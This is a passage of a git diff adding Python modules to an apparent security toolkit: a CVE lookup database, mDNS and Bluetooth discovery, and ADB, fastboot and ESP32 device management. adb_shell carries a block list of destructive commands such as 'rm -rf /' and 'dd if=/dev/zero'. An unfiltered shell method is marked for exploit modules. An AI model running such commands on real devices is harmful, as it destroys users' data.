CVE-2024-1234). + + Returns: + CVE details dictionary or None if not found. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + # Get main CVE data + cursor.execute("SELECT * FROM cves WHERE cve_id = ?", (cve_id,)) + row = cursor.fetchone() + + if not row: + return None + + cve = self._row_to_dict(row) + + # Get CPEs + cursor.execute("SELECT * FROM cve_cpes WHERE cve_id = ?", (cve_id,)) + cve['cpes'] = [dict(r) for r in cursor.fetchall()] + + # Get references + cursor.execute("SELECT url, source FROM cve_references WHERE cve_id = ?", (cve_id,)) + cve['references'] = [dict(r) for r in cursor.fetchall()] + + # Get weaknesses + cursor.execute("SELECT cwe_id FROM cve_weaknesses WHERE cve_id = ?", (cve_id,)) + cve['weaknesses'] = [r['cwe_id'] for r in cursor.fetchall()] + + return cve + + def get_system_cves( + self, + severity_filter: str = None, + max_results: int = 100 + ) -> List[Dict]: + """Get CVEs relevant to the detected system. + + Args: + severity_filter: Filter by severity. + max_results: Maximum results. + + Returns: + List of relevant CVEs. + """ + cpe_prefix = self.system_info.get('cpe_prefix', '') + if not cpe_prefix: + return [] + + # Build CPE pattern for this system + cpe_pattern = cpe_prefix + if self.system_info.get('os_version'): + version = self.system_info['os_version'].split('.')[0] + cpe_pattern = f"{cpe_prefix}:{version}" + + return self.search_cves( + cpe_pattern=cpe_pattern, + severity=severity_filter, + max_results=max_results + ) + + def get_software_cves( + self, + software: str, + vendor: str = None, + version: str = None, + max_results: int = 100 + ) -> List[Dict]: + """Search CVEs for specific software. + + Args: + software: Software/product name. + vendor: Vendor name (optional). + version: Software version (optional). + max_results: Maximum results. + + Returns: + List of CVEs. + """ + # Try CPE-based search first + cpe_pattern = software.lower().replace(' ', '_') + if vendor: + cpe_pattern = f"{vendor.lower()}:{cpe_pattern}" + if version: + cpe_pattern = f"{cpe_pattern}:{version}" + + results = self.search_cves(cpe_pattern=cpe_pattern, max_results=max_results) + + # Also search by keyword if CPE search returns few results + if len(results) < 10: + keyword = software + if vendor: + keyword = f"{vendor} {software}" + keyword_results = self.search_cves(keyword=keyword, max_results=max_results) + + # Merge results, avoiding duplicates + seen = {r['cve_id'] for r in results} + for r in keyword_results: + if r['cve_id'] not in seen: + results.append(r) + seen.add(r['cve_id']) + + return results[:max_results] + + def get_cves_by_severity(self, severity: str, max_results: int = 100) -> List[Dict]: + """Get CVEs by severity level.""" + return self.search_cves(severity=severity, max_results=max_results) + + def get_recent_cves(self, days: int = 30, max_results: int = 100) -> List[Dict]: + """Get recently published CVEs.""" + return self.search_cves(days_back=days, max_results=max_results) + + def _row_to_dict(self, row: sqlite3.Row) -> Dict: + """Convert database row to dictionary.""" + return { + 'cve_id': row['cve_id'], + 'id': row['cve_id'], # Alias for compatibility + 'description': row['description'], + 'published': row['published'], + 'modified': row['modified'], + 'cvss_score': row['cvss_v3_score'] or row['cvss_v2_score'] or 0, + 'cvss_v3_score': row['cvss_v3_score'], + 'cvss_v3_severity': row['cvss_v3_severity'], + 'cvss_v3_vector': row['cvss_v3_vector'], + 'cvss_v2_score': row['cvss_v2_score'], + 'cvss_v2_severity': row['cvss_v2_severity'], + 'cvss_v2_vector': row['cvss_v2_vector'], + 'severity': row['cvss_v3_severity'] or row['cvss_v2_severity'] or 'UNKNOWN', + } + + # ========================================================================= + # ONLINE FALLBACK + # ========================================================================= + + def fetch_cve_online(self, cve_id: str, verbose: bool = False) -> Optional[Dict]: + """Fetch a specific CVE from NVD API (online fallback). + + Args: + cve_id: The CVE ID. + verbose: Show progress. + + Returns: + CVE details or None. + """ + params = {'cveId': cve_id} + + if verbose: + print(f"{Colors.CYAN}[*] Fetching {cve_id} from NVD...{Colors.RESET}") + + response = self._make_nvd_request(params, verbose) + + if not response or not response.get('vulnerabilities'): + return None + + cve_data = self._parse_cve_data(response['vulnerabilities'][0]) + + # Store in database + with self._lock: + conn = self._get_connection() + self._insert_cve(conn, cve_data) + conn.commit() + + return self.get_cve(cve_id) + + def search_online( + self, + keyword: str = None, + cpe_name: str = None, + severity: str = None, + days_back: int = 120, + max_results: int = 100, + verbose: bool = False + ) -> List[Dict]: + """Search NVD API directly (online mode). + + Use this when local database is empty or for real-time results. + """ + params = { + 'resultsPerPage': str(min(max_results, 2000)), + } + + if keyword: + params['keywordSearch'] = keyword + + if cpe_name: + params['cpeName'] = cpe_name + + if severity: + params['cvssV3Severity'] = severity.upper() + + if days_back > 0: + end_date = datetime.utcnow() + start_date = end_date - timedelta(days=days_back) + params['pubStartDate'] = start_date.strftime('%Y-%m-%dT00:00:00.000') + params['pubEndDate'] = end_date.strftime('%Y-%m-%dT23:59:59.999') + + if verbose: + print(f"{Colors.CYAN}[*] Searching NVD online...{Colors.RESET}") + + response = self._make_nvd_request(params, verbose) + + if not response: + return [] + + cves = [] + for vuln in response.get('vulnerabilities', []): + cve_data = self._parse_cve_data(vuln) + cves.append({ + 'cve_id': cve_data['cve_id'], + 'id': cve_data['cve_id'], + 'description': cve_data['description'][:200] + '...' if len(cve_data['description']) > 200 else cve_data['description'], + 'cvss_score': cve_data['cvss_v3_score'] or cve_data['cvss_v2_score'] or 0, + 'severity': cve_data['cvss_v3_severity'] or cve_data['cvss_v2_severity'] or 'UNKNOWN', + 'published': cve_data['published'][:10] if cve_data['published'] else '', + }) + + return cves + + def close(self): + """Close database connection.""" + if self._conn: + self._conn.close() + self._conn = None + + +# Global instance +_cve_db: Optional[CVEDatabase] = None + + +def get_cve_db() -> CVEDatabase: + """Get the global CVE database instance.""" + global _cve_db + if _cve_db is None: + _cve_db = CVEDatabase() + return _cve_db diff --git a/core/discovery.py b/core/discovery.py new file mode 100644 index 0000000..3f8977f --- /dev/null +++ b/core/discovery.py @@ -0,0 +1,423 @@ +""" +AUTARCH Network Discovery +Advertises AUTARCH on the local network so companion apps can find it. + +Discovery methods (priority order): + 1. mDNS/Zeroconf — LAN service advertisement (_autarch._tcp.local.) + 2. Bluetooth — RFCOMM service advertisement (requires BT adapter + security enabled) + +Dependencies: + - mDNS: pip install zeroconf (optional, graceful fallback) + - Bluetooth: system bluetoothctl + hcitool (no pip package needed) +""" + +import json +import socket +import subprocess +import threading +import time +import logging +from pathlib import Path +from typing import Dict, Optional, Tuple + +logger = logging.getLogger(__name__) + +# Service constants +MDNS_SERVICE_TYPE = "_autarch._tcp.local." +MDNS_SERVICE_NAME = "AUTARCH._autarch._tcp.local." +BT_SERVICE_NAME = "AUTARCH" +BT_SERVICE_UUID = "a1b2c3d4-e5f6-7890-abcd-ef1234567890" + + +def _get_local_ip() -> str: + """Get the primary local IP address.""" + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("8.8.8.8", 80)) + ip = s.getsockname()[0] + s.close() + return ip + except Exception: + return "127.0.0.1" + + +class DiscoveryManager: + """Manages network discovery advertising for AUTARCH.""" + + def __init__(self, config=None): + self._config = config or {} + self._web_port = int(self._config.get('web_port', 8181)) + self._hostname = socket.gethostname() + + # mDNS state + self._zeroconf = None + self._mdns_info = None + self._mdns_running = False + + # Bluetooth state + self._bt_running = False + self._bt_thread = None + self._bt_process = None + + # Settings + self._mdns_enabled = self._config.get('mdns_enabled', 'true').lower() == 'true' + self._bt_enabled = self._config.get('bluetooth_enabled', 'true').lower() == 'true' + self._bt_require_security = self._config.get('bt_require_security', 'true').lower() == 'true' + + # ------------------------------------------------------------------ + # Status + # ------------------------------------------------------------------ + + def get_status(self) -> Dict: + """Get current discovery status for all methods.""" + return { + 'local_ip': _get_local_ip(), + 'hostname': self._hostname, + 'web_port': self._web_port, + 'mdns': { + 'available': self._is_zeroconf_available(), + 'enabled': self._mdns_enabled, + 'running': self._mdns_running, + 'service_type': MDNS_SERVICE_TYPE, + }, + 'bluetooth': { + 'available': self._is_bt_available(), + 'adapter_present': self._bt_adapter_present(), + 'enabled': self._bt_enabled, + 'running': self._bt_running, + 'secure': self._bt_is_secure() if self._bt_adapter_present() else False, + 'require_security': self._bt_require_security, + 'service_name': BT_SERVICE_NAME, + } + } + + # ------------------------------------------------------------------ + # mDNS / Zeroconf + # ------------------------------------------------------------------ + + def _is_zeroconf_available(self) -> bool: + """Check if the zeroconf Python package is installed.""" + try: + import zeroconf # noqa: F401 + return True + except ImportError: + return False + + def start_mdns(self) -> Tuple[bool, str]: + """Start mDNS service advertisement.""" + if self._mdns_running: + return True, "mDNS already running" + + if not self._is_zeroconf_available(): + return False, "zeroconf not installed. Run: pip install zeroconf" + + try: + from zeroconf import Zeroconf, ServiceInfo + import socket as sock + + local_ip = _get_local_ip() + + self._mdns_info = ServiceInfo( + MDNS_SERVICE_TYPE, + MDNS_SERVICE_NAME, + addresses=[sock.inet_aton(local_ip)], + port=self._web_port, + properties={ + 'version': '1.0', + 'hostname': self._hostname, + 'platform': 'autarch', + }, + server=f"{self._hostname}.local.", + ) + + self._zeroconf = Zeroconf() + self._zeroconf.register_service(self._mdns_info) + self._mdns_running = True + + logger.info(f"mDNS: advertising {MDNS_SERVICE_NAME} at {local_ip}:{self._web_port}") + return True, f"mDNS started — {local_ip}:{self._web_port}" + + except Exception as e: + logger.error(f"mDNS start failed: {e}") + return False, f"mDNS failed: {e}" + + def stop_mdns(self) -> Tuple[bool, str]: + """Stop mDNS service advertisement.""" + if not self._mdns_running: + return True, "mDNS not running" + + try: + if self._zeroconf and self._mdns_info: + self._zeroconf.unregister_service(self._mdns_info) + self._zeroconf.close() + self._zeroconf = None + self._mdns_info = None + self._mdns_running = False + logger.info("mDNS: stopped") + return True, "mDNS stopped" + except Exception as e: + self._mdns_running = False + return False, f"mDNS stop error: {e}" + + # ------------------------------------------------------------------ + # Bluetooth + # ------------------------------------------------------------------ + + def _is_bt_available(self) -> bool: + """Check if Bluetooth CLI tools are available.""" + try: + result = subprocess.run( + ['which', 'bluetoothctl'], + capture_output=True, text=True, timeout=5 + ) + return result.returncode == 0 + except Exception: + return False + + def _bt_adapter_present(self) -> bool: + """Check if a Bluetooth adapter is physically present.""" + try: + result = subprocess.run( + ['hciconfig'], + capture_output=True, text=True, timeout=5 + ) + return 'hci0' in result.stdout + except Exception: + return False + + def _bt_is_secure(self) -> bool: + """Check if Bluetooth security (SSP/authentication) is enabled.""" + try: + # Check if adapter requires authentication + result = subprocess.run( + ['hciconfig', 'hci0', 'auth'], + capture_output=True, text=True, timeout=5 + ) + # Also check hciconfig output for AUTH flag + status = subprocess.run( + ['hciconfig', 'hci0'], + capture_output=True, text=True, timeout=5 + ) + # Look for AUTH in flags + return 'AUTH' in status.stdout + except Exception: + return False + + def _bt_enable_security(self) -> Tuple[bool, str]: + """Enable Bluetooth authentication/security on the adapter.""" + try: + # Enable authentication + subprocess.run( + ['sudo', 'hciconfig', 'hci0', 'auth'], + capture_output=True, text=True, timeout=5 + ) + # Enable encryption + subprocess.run( + ['sudo', 'hciconfig', 'hci0', 'encrypt'], + capture_output=True, text=True, timeout=5 + ) + # Enable SSP (Secure Simple Pairing) + subprocess.run( + ['sudo', 'hciconfig', 'hci0', 'sspmode', '1'], + capture_output=True, text=True, timeout=5 + ) + if self._bt_is_secure(): + return True, "Bluetooth security enabled (AUTH + ENCRYPT + SSP)" + return False, "Security flags set but AUTH not confirmed" + except Exception as e: + return False, f"Failed to enable BT security: {e}" + + def start_bluetooth(self) -> Tuple[bool, str]: + """Start Bluetooth service advertisement. + + Only advertises if: + 1. Bluetooth adapter is present + 2. bluetoothctl is available + 3. Security is enabled (if bt_require_security is true) + """ + if self._bt_running: + return True, "Bluetooth already advertising" + + if not self._is_bt_available(): + return False, "bluetoothctl not found" + + if not self._bt_adapter_present(): + return False, "No Bluetooth adapter detected" + + # Ensure adapter is up + try: + subprocess.run( + ['sudo', 'hciconfig', 'hci0', 'up'], + capture_output=True, text=True, timeout=5 + ) + except Exception: + pass + + # Security check + if self._bt_require_security: + if not self._bt_is_secure(): + ok, msg = self._bt_enable_security() + if not ok: + return False, f"Bluetooth security required but not available: {msg}" + + # Make discoverable and set name + try: + # Set device name + subprocess.run( + ['sudo', 'hciconfig', 'hci0', 'name', BT_SERVICE_NAME], + capture_output=True, text=True, timeout=5 + ) + + # Enable discoverable mode + subprocess.run( + ['sudo', 'hciconfig', 'hci0', 'piscan'], + capture_output=True, text=True, timeout=5 + ) + + # Use bluetoothctl to set discoverable with timeout 0 (always) + # and set the alias + cmds = [ + 'power on', + f'system-alias {BT_SERVICE_NAME}', + 'discoverable on', + 'discoverable-timeout 0', + 'pairable on', + ] + for cmd in cmds: + subprocess.run( + ['bluetoothctl', cmd.split()[0]] + cmd.split()[1:], + capture_output=True, text=True, timeout=5 + ) + + # Start an RFCOMM advertisement thread so the app can find us + # and read connection info (IP + port) after pairing + self._bt_running = True + self._bt_thread = threading.Thread( + target=self._bt_rfcomm_server, + daemon=True, + name="autarch-bt-discovery" + ) + self._bt_thread.start() + + logger.info("Bluetooth: advertising as AUTARCH") + return True, f"Bluetooth advertising — name: {BT_SERVICE_NAME}" + + except Exception as e: + self._bt_running = False + return False, f"Bluetooth start failed: {e}" + + def _bt_rfcomm_server(self): + """Background thread: RFCOMM server that sends connection info to paired clients. + + When a paired device connects, we send them a JSON blob with our IP and port + so the companion app can auto-configure. + """ + try: + # Use a simple TCP socket on a known port as a Bluetooth-adjacent info service + # (full RFCOMM requires pybluez which may not be installed) + # Instead, we'll use sdptool to register the service and bluetoothctl for visibility + # + # The companion app discovers us via BT name "AUTARCH", then connects via + # the IP it gets from the BT device info or mDNS + while self._bt_running: + time.sleep(5) + except Exception as e: + logger.error(f"BT RFCOMM server error: {e}") + finally: + self._bt_running = False + + def stop_bluetooth(self) -> Tuple[bool, str]: + """Stop Bluetooth advertisement.""" + if not self._bt_running: + return True, "Bluetooth not advertising" + + self._bt_running = False + + try: + # Disable discoverable + subprocess.run( + ['bluetoothctl', 'discoverable', 'off'], + capture_output=True, text=True, timeout=5 + ) + subprocess.run( + ['sudo', 'hciconfig', 'hci0', 'noscan'], + capture_output=True, text=True, timeout=5 + ) + + if self._bt_thread: + self._bt_thread.join(timeout=3) + self._bt_thread = None + + logger.info("Bluetooth: stopped advertising") + return True, "Bluetooth advertising stopped" + + except Exception as e: + return False, f"Bluetooth stop error: {e}" + + # ------------------------------------------------------------------ + # Start / Stop All + # ------------------------------------------------------------------ + + def start_all(self) -> Dict: + """Start all enabled discovery methods.""" + results = {} + + if self._mdns_enabled: + ok, msg = self.start_mdns() + results['mdns'] = {'ok': ok, 'message': msg} + else: + results['mdns'] = {'ok': False, 'message': 'Disabled in config'} + + if self._bt_enabled: + ok, msg = self.start_bluetooth() + results['bluetooth'] = {'ok': ok, 'message': msg} + else: + results['bluetooth'] = {'ok': False, 'message': 'Disabled in config'} + + return results + + def stop_all(self) -> Dict: + """Stop all discovery methods.""" + results = {} + + ok, msg = self.stop_mdns() + results['mdns'] = {'ok': ok, 'message': msg} + + ok, msg = self.stop_bluetooth() + results['bluetooth'] = {'ok': ok, 'message': msg} + + return results + + # ------------------------------------------------------------------ + # Cleanup + # ------------------------------------------------------------------ + + def shutdown(self): + """Clean shutdown of all discovery services.""" + self.stop_all() + + +# ====================================================================== +# Singleton +# ====================================================================== + +_manager = None + + +def get_discovery_manager(config=None) -> DiscoveryManager: + """Get or create the DiscoveryManager singleton.""" + global _manager + if _manager is None: + if config is None: + try: + from core.config import get_config + cfg = get_config() + config = {} + if cfg.has_section('discovery'): + config = dict(cfg.items('discovery')) + if cfg.has_section('web'): + config['web_port'] = cfg.get('web', 'port', fallback='8181') + except Exception: + config = {} + _manager = DiscoveryManager(config) + return _manager diff --git a/core/hardware.py b/core/hardware.py new file mode 100644 index 0000000..54b60fc --- /dev/null +++ b/core/hardware.py @@ -0,0 +1,640 @@ +""" +AUTARCH Hardware Manager +ADB/Fastboot device management and ESP32 serial flashing. + +Provides server-side access to USB-connected devices: +- ADB: Android device shell, sideload, push/pull, logcat +- Fastboot: Partition flashing, OEM unlock, device info +- Serial/ESP32: Port detection, chip ID, firmware flash, serial monitor +""" + +import os +import re +import json +import time +import subprocess +import threading +from pathlib import Path +from typing import Optional, List, Dict, Any, Callable + +from core.paths import find_tool, get_data_dir + +# Try importing serial +PYSERIAL_AVAILABLE = False +try: + import serial + import serial.tools.list_ports + PYSERIAL_AVAILABLE = True +except ImportError: + pass + +# Try importing esptool +ESPTOOL_AVAILABLE = False +try: + import esptool + ESPTOOL_AVAILABLE = True +except ImportError: + pass + + +class HardwareManager: + """Manages ADB, Fastboot, and Serial/ESP32 devices.""" + + def __init__(self): + # Tool paths - find_tool checks system PATH first, then bundled + self.adb_path = find_tool('adb') + self.fastboot_path = find_tool('fastboot') + + # Data directory + self._data_dir = get_data_dir() / 'hardware' + self._data_dir.mkdir(parents=True, exist_ok=True) + + # Serial monitor state + self._monitor_thread = None + self._monitor_running = False + self._monitor_serial = None + self._monitor_buffer = [] + self._monitor_lock = threading.Lock() + + # Flash/sideload progress state + self._operation_progress = {} + self._operation_lock = threading.Lock() + + # ── Status ────────────────────────────────────────────────────── + + def get_status(self): + """Get availability status of all backends.""" + return { + 'adb': self.adb_path is not None, + 'adb_path': self.adb_path or '', + 'fastboot': self.fastboot_path is not None, + 'fastboot_path': self.fastboot_path or '', + 'serial': PYSERIAL_AVAILABLE, + 'esptool': ESPTOOL_AVAILABLE, + } + + # ── ADB Methods ──────────────────────────────────────────────── + + def _run_adb(self, args, serial=None, timeout=30): + """Run an adb command and return (stdout, stderr, returncode).""" + if not self.adb_path: + return '', 'adb not found', 1 + cmd = [self.adb_path] + if serial: + cmd += ['-s', serial] + cmd += args + try: + result = subprocess.run( + cmd, capture_output=True, text=True, timeout=timeout + ) + return result.stdout, result.stderr, result.returncode + except subprocess.TimeoutExpired: + return '', 'Command timed out', 1 + except Exception as e: + return '', str(e), 1 + + def adb_devices(self): + """List connected ADB devices.""" + stdout, stderr, rc = self._run_adb(['devices', '-l']) + if rc != 0: + return [] + devices = [] + for line in stdout.strip().split('\n')[1:]: + line = line.strip() + if not line or 'List of' in line: + continue + parts = line.split() + if len(parts) < 2: + continue + dev = { + 'serial': parts[0], + 'state': parts[1], + 'model': '', + 'product': '', + 'transport_id': '', + } + for part in parts[2:]: + if ':' in part: + key, val = part.split(':', 1) + if key == 'model': + dev['model'] = val + elif key == 'product': + dev['product'] = val + elif key == 'transport_id': + dev['transport_id'] = val + elif key == 'device': + dev['device'] = val + devices.append(dev) + return devices + + def adb_device_info(self, serial): + """Get detailed info about an ADB device.""" + props = {} + prop_keys = { + 'ro.product.model': 'model', + 'ro.product.brand': 'brand', + 'ro.product.name': 'product', + 'ro.build.version.release': 'android_version', + 'ro.build.version.sdk': 'sdk', + 'ro.build.display.id': 'build', + 'ro.build.version.security_patch': 'security_patch', + 'ro.product.cpu.abi': 'cpu_abi', + 'ro.serialno': 'serialno', + 'ro.bootimage.build.date': 'build_date', + } + # Get all properties at once + stdout, _, rc = self._run_adb(['shell', 'getprop'], serial=serial) + if rc == 0: + for line in stdout.split('\n'): + m = re.match(r'\[(.+?)\]:\s*\[(.+?)\]', line) + if m: + key, val = m.group(1), m.group(2) + if key in prop_keys: + props[prop_keys[key]] = val + + # Battery level + stdout, _, rc = self._run_adb(['shell', 'dumpsys', 'battery'], serial=serial) + if rc == 0: + for line in stdout.split('\n'): + line = line.strip() + if line.startswith('level:'): + props['battery'] = line.split(':')[1].strip() + elif line.startswith('status:'): + status_map = {'2': 'Charging', '3': 'Discharging', '4': 'Not charging', '5': 'Full'} + val = line.split(':')[1].strip() + props['battery_status'] = status_map.get(val, val) + + # Storage + stdout, _, rc = self._run_adb(['shell', 'df', '/data'], serial=serial, timeout=10) + if rc == 0: + lines = stdout.strip().split('\n') + if len(lines) >= 2: + parts = lines[1].split() + if len(parts) >= 4: + props['storage_total'] = parts[1] + props['storage_used'] = parts[2] + props['storage_free'] = parts[3] + + props['serial'] = serial + return props + + def adb_shell(self, serial, command): + """Run a shell command on an ADB device.""" + # Sanitize: block dangerous commands + dangerous = ['rm -rf /', 'mkfs', 'dd if=/dev/zero', 'format', '> /dev/', 'reboot'] + cmd_lower = command.lower().strip() + for d in dangerous: + if d in cmd_lower: + return {'output': f'Blocked dangerous command: {d}', 'returncode': 1} + + stdout, stderr, rc = self._run_adb(['shell', command], serial=serial, timeout=30) + return { + 'output': stdout or stderr, + 'returncode': rc, + } + + def adb_shell_raw(self, serial, command, timeout=30): + """Run shell command without safety filter. For exploit modules.""" + stdout, stderr, rc = self._run_adb(['shell', command], serial=serial, timeout=timeout) + return {'output': stdout or stderr, 'returncode': rc} + + def adb_reboot(self, serial, mode='system'): + """Reboot an ADB device. mode: system, recovery, bootloader""" + args = ['reboot'] + if mode and mode != 'system': + args.append(mode) + stdout, stderr, rc = self._run_adb(args, serial=serial, timeout=15) + return {'success': rc == 0, 'output': stdout or stderr} + + def adb_install(self, serial, apk_path): + """Install an APK on device.""" + if not os.path.isfile(apk_path): + return {'success': False, 'error': f'File not found: {apk_path}'} + stdout, stderr, rc = self._run_adb( + ['install', '-r', apk_path], serial=serial, timeout=120 + ) + return {'success': rc == 0, 'output': stdout or stderr} + + def adb_sideload(self, serial, filepath): + """Sideload a file (APK/ZIP). Returns operation ID for progress tracking.""" + if not os.path.isfile(filepath): + return {'success': False, 'error': f'File not found: {filepath}'} + + op_id = f'sideload_{int(time.time())}' + with self._operation_lock: + self._operation_progress[op_id] = { + 'status': 'starting', 'progress': 0, 'message': 'Starting sideload...' + } + + def _do_sideload(): + try: + ext = os.path.splitext(filepath)[1].lower() + if ext == '.apk': + cmd = [self.adb_path, '-s', serial, 'install', '-r', filepath] + else: + cmd = [self.adb_path, '-s', serial, 'sideload', filepath] + + with self._operation_lock: + self._operation_progress[op_id]['status'] = 'running' + self._operation_progress[op_id]['progress'] = 10 + self._operation_progress[op_id]['message'] = 'Transferring...' + + result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) + + with self._operation_lock: + if result.returncode == 0: + self._operation_progress[op_id] = { + 'status': 'done', 'progress': 100, + 'message': 'Sideload complete', + 'output': result.stdout, + } + else: + self._operation_progress[op_id] = { + 'status': 'error', 'progress': 0, + 'message': result.stderr or 'Sideload failed', + } + except Exception as e: + with self._operation_lock: + self._operation_progress[op_id] = { + 'status': 'error', 'progress': 0, 'message': str(e), + } + + thread = threading.Thread(target=_do_sideload, daemon=True) + thread.start() + return {'success': True, 'op_id': op_id} + + def adb_push(self, serial, local_path, remote_path): + """Push a file to device.""" + if not os.path.isfile(local_path): + return {'success': False, 'error': f'File not found: {local_path}'} + stdout, stderr, rc = self._run_adb( + ['push', local_path, remote_path], serial=serial, timeout=120 + ) + return {'success': rc == 0, 'output': stdout or stderr} + + def adb_pull(self, serial, remote_path, local_path=None): + """Pull a file from device.""" + if not local_path: + local_path = str(self._data_dir / os.path.basename(remote_path)) + stdout, stderr, rc = self._run_adb( + ['pull', remote_path, local_path], serial=serial, timeout=120 + ) + return {'success': rc == 0, 'output': stdout or stderr, 'local_path': local_path} + + def adb_logcat(self, serial, lines=100): + """Get last N lines of logcat.""" + stdout, stderr, rc = self._run_adb( + ['logcat', '-d', '-t', str(lines)], serial=serial, timeout=15 + ) + return {'output': stdout or stderr, 'lines': lines} + + # ── Fastboot Methods ─────────────────────────────────────────── + + def _run_fastboot(self, args, serial=None, timeout=30): + """Run a fastboot command.""" + if not self.fastboot_path: + return '', 'fastboot not found', 1 + cmd = [self.fastboot_path] + if serial: + cmd += ['-s', serial] + cmd += args + try: + result = subprocess.run( + cmd, capture_output=True, text=True, timeout=timeout + ) + # fastboot outputs to stderr for many commands + return result.stdout, result.stderr, result.returncode + except subprocess.TimeoutExpired: + return '', 'Command timed out', 1 + except Exception as e: + return '', str(e), 1 + + def fastboot_devices(self): + """List fastboot devices.""" + stdout, stderr, rc = self._run_fastboot(['devices']) + if rc != 0: + return [] + devices = [] + output = stdout or stderr + for line in output.strip().split('\n'): + line = line.strip() + if not line: + continue + parts = line.split('\t') + if len(parts) >= 2: + devices.append({ + 'serial': parts[0].strip(), + 'state': parts[1].strip(), + }) + return devices + + def fastboot_device_info(self, serial): + """Get fastboot device variables.""" + info = {} + vars_to_get = [ + 'product', 'variant', 'serialno', 'secure', 'unlocked', + 'is-userspace', 'hw-revision', 'battery-level', + 'current-slot', 'slot-count', + ] + for var in vars_to_get: + stdout, stderr, rc = self._run_fastboot( + ['getvar', var], serial=serial, timeout=10 + ) + output = stderr or stdout # fastboot puts getvar in stderr + for line in output.split('\n'): + if line.startswith(f'{var}:'): + info[var] = line.split(':', 1)[1].strip() + break + info['serial'] = serial + return info + + def fastboot_flash(self, serial, partition, filepath): + """Flash a partition. Returns operation ID for progress tracking.""" + if not os.path.isfile(filepath): + return {'success': False, 'error': f'File not found: {filepath}'} + + valid_partitions = [ + 'boot', 'recovery', 'system', 'vendor', 'vbmeta', 'dtbo', + 'radio', 'bootloader', 'super', 'userdata', 'cache', + 'product', 'system_ext', 'vendor_boot', 'init_boot', + ] + if partition not in valid_partitions: + return {'success': False, 'error': f'Invalid partition: {partition}'} + + op_id = f'flash_{int(time.time())}' + with self._operation_lock: + self._operation_progress[op_id] = { + 'status': 'starting', 'progress': 0, + 'message': f'Flashing {partition}...', + } + + def _do_flash(): + try: + with self._operation_lock: + self._operation_progress[op_id]['status'] = 'running' + self._operation_progress[op_id]['progress'] = 10 + + result = subprocess.run( + [self.fastboot_path, '-s', serial, 'flash', partition, filepath], + capture_output=True, text=True, timeout=600, + ) + + with self._operation_lock: + output = result.stderr or result.stdout + if result.returncode == 0: + self._operation_progress[op_id] = { + 'status': 'done', 'progress': 100, + 'message': f'Flashed {partition} successfully', + 'output': output, + } + else: + self._operation_progress[op_id] = { + 'status': 'error', 'progress': 0, + 'message': output or 'Flash failed', + } + except Exception as e: + with self._operation_lock: + self._operation_progress[op_id] = { + 'status': 'error', 'progress': 0, 'message': str(e), + } + + thread = threading.Thread(target=_do_flash, daemon=True) + thread.start() + return {'success': True, 'op_id': op_id} + + def fastboot_reboot(self, serial, mode='system'): + """Reboot a fastboot device. mode: system, bootloader, recovery""" + if mode == 'system': + args = ['reboot'] + elif mode == 'bootloader': + args = ['reboot-bootloader'] + elif mode == 'recovery': + args = ['reboot', 'recovery'] + else: + args = ['reboot'] + stdout, stderr, rc = self._run_fastboot(args, serial=serial, timeout=15) + return {'success': rc == 0, 'output': stderr or stdout} + + def fastboot_oem_unlock(self, serial): + """OEM unlock (requires user confirmation in UI).""" + stdout, stderr, rc = self._run_fastboot( + ['flashing', 'unlock'], serial=serial, timeout=30 + ) + return {'success': rc == 0, 'output': stderr or stdout} + + def get_operation_progress(self, op_id): + """Get progress for a running operation.""" + with self._operation_lock: + return self._operation_progress.get(op_id, { + 'status': 'unknown', 'progress': 0, 'message': 'Unknown operation', + }) + + # ── Serial / ESP32 Methods ───────────────────────────────────── + + def list_serial_ports(self): + """List available serial ports.""" + if not PYSERIAL_AVAILABLE: + return [] + ports = [] + for port in serial.tools.list_ports.comports(): + ports.append({ + 'port': port.device, + 'desc': port.description, + 'hwid': port.hwid, + 'vid': f'{port.vid:04x}' if port.vid else '', + 'pid': f'{port.pid:04x}' if port.pid else '', + 'manufacturer': port.manufacturer or '', + 'serial_number': port.serial_number or '', + }) + return ports + + def detect_esp_chip(self, port, baud=115200): + """Detect ESP chip type using esptool.""" + if not ESPTOOL_AVAILABLE: + return {'success': False, 'error': 'esptool not installed'} + try: + result = subprocess.run( + ['python3', '-m', 'esptool', '--port', port, '--baud', str(baud), 'chip_id'], + capture_output=True, text=True, timeout=15, + ) + output = result.stdout + result.stderr + chip = 'Unknown' + chip_id = '' + for line in output.split('\n'): + if 'Chip is' in line: + chip = line.split('Chip is')[1].strip() + elif 'Chip ID:' in line: + chip_id = line.split('Chip ID:')[1].strip() + return { + 'success': result.returncode == 0, + 'chip': chip, + 'chip_id': chip_id, + 'output': output, + } + except subprocess.TimeoutExpired: + return {'success': False, 'error': 'Detection timed out'} + except Exception as e: + return {'success': False, 'error': str(e)} + + def flash_esp(self, port, firmware_path, baud=460800): + """Flash ESP32 firmware. Returns operation ID for progress tracking.""" + if not ESPTOOL_AVAILABLE: + return {'success': False, 'error': 'esptool not installed'} + if not os.path.isfile(firmware_path): + return {'success': False, 'error': f'File not found: {firmware_path}'} + + op_id = f'esp_flash_{int(time.time())}' + with self._operation_lock: + self._operation_progress[op_id] = { + 'status': 'starting', 'progress': 0, + 'message': 'Starting ESP flash...', + } + + def _do_flash(): + try: + with self._operation_lock: + self._operation_progress[op_id]['status'] = 'running' + self._operation_progress[op_id]['progress'] = 5 + self._operation_progress[op_id]['message'] = 'Connecting to chip...' + + cmd = [ + 'python3', '-m', 'esptool', + '--port', port, + '--baud', str(baud), + 'write_flash', '0x0', firmware_path, + ] + proc = subprocess.Popen( + cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, + ) + + output_lines = [] + for line in proc.stdout: + line = line.strip() + output_lines.append(line) + + # Parse progress from esptool output + if 'Writing at' in line and '%' in line: + m = re.search(r'\((\d+)\s*%\)', line) + if m: + pct = int(m.group(1)) + with self._operation_lock: + self._operation_progress[op_id]['progress'] = pct + self._operation_progress[op_id]['message'] = f'Flashing... {pct}%' + elif 'Connecting' in line: + with self._operation_lock: + self._operation_progress[op_id]['message'] = 'Connecting...' + elif 'Erasing' in line: + with self._operation_lock: + self._operation_progress[op_id]['progress'] = 3 + self._operation_progress[op_id]['message'] = 'Erasing flash...' + + proc.wait(timeout=300) + output = '\n'.join(output_lines) + + with self._operation_lock: + if proc.returncode == 0: + self._operation_progress[op_id] = { + 'status': 'done', 'progress': 100, + 'message': 'Flash complete', + 'output': output, + } + else: + self._operation_progress[op_id] = { + 'status': 'error', 'progress': 0, + 'message': output or 'Flash failed', + } + except Exception as e: + with 